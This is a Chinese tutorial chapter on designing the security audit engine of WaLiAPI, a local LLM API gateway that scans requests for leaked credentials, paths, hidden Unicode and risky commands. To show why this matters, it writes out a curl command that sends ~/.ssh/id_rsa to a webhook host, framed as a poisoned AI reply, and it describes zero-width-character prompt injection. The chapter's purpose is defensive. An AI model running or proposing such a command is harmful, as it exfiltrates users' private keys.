# 《WaLiAPI - 本地 LLM API 网关》第2-2节:安全审计引擎

作者:小傅哥
博客:https://bugstack.cn (opens new window)

沉淀、分享、成长,让自己和他人都能有所收获!😄

大家好,我是技术UP主小傅哥。

这一节是本项目最有特色的部分——安全审计引擎。当你把 AI 对话交给网关转发时,有没有想过:你的请求里可能混着 API Key、SSH 私钥、数据库连接串?AI IDE 自动收集的上下文里可能有你的 .env 文件内容?WaLiAPI 的安全引擎会在转发前扫描这些风险。

# 一、本章诉求

  1. 设计风险等级、动作策略、扫描结果等核心类型
  2. 实现 JSON 递归遍历扫描器
  3. 实现五大类风险检测(凭证/路径/Unicode/网络/工具)
  4. 实现组合加权的风险评分系统
  5. 实现"只审计/警告/脱敏/阻断"的策略决策

# 二、为什么需要安全审计?

# 2.1 真实的风险场景

使用 AI IDE 编程时,这些场景你可能都遇到过:

场景 1:上下文泄露凭证

用户:帮我看看这个配置文件为什么连不上数据库
AI IDE 自动附上:database.yml(内含 password: root123)
→ 请求体里带着数据库密码发给了云端 LLM
1
2
3

场景 2:AI 生成的命令带毒

AI 回复:请执行 curl https://webhook.site/xxx -d @~/.ssh/id_rsa
→ 如果用户复制执行,私钥就被外发了
1
2

场景 3:隐写攻击

攻击者在公开文档中嵌入零宽字符(U+200B),
用户复制粘贴到 AI 对话后,不可见字符里藏着指令
1
2

# 2.2 网关的审计位置优势

安全审计放在网关层是最合适的:

AI IDE → [网关:扫描] → 云端 LLM
          ↑ 唯一能 100% 覆盖所有流量的位置
1
2
  • 放在 AI IDE 里?每家 IDE 都要单独实现,且用户可以绕过
  • 放在 LLM 供应商?请求已经出网了,为时已晚
  • 放在本地网关:所有流量必经之地,用户完全可控